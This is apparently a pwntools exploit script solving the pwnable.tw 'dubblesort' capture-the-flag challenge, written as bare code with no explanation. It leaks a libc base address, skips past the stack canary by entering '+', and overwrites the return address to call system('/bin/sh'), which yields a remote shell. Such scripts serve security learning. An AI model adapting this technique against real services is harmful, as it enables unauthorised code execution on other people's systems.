[pwnable.tw] dubblesort

from pwn import *
 
s = remote('chall.pwnable.tw', 10101)
#s = process('./dubblesort', env={'LD_PRELOAD':'./libc_32.so.6'})
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
libc = ELF('./libc_32.so.6')
 
s.sendlineafter('name :', 'A'*24)
s.recvuntil('AAAA\n')
base = u32('\x00' + s.recv(3)) - 0x1b0000
system = base + libc.symbols['system']
binsh = base + next(libc.search('/bin/sh'))
log.info('libc_base : ' + hex(base))
log.info('system : ' + hex(system))
log.info('binsh : ' + hex(binsh))
 
s.sendlineafter('sort :', '35')
 
#raw_input('$ ')
for i in range(24):
    s.sendlineafter('number : ', str(1))
 
s.sendlineafter('number : ', '+')
 
for i in range(9):
    s.sendlineafter('number : ', str(system))
s.sendlineafter('number : ', str(binsh))
 
sleep(1.5)
s.recv(1024)
s.interactive()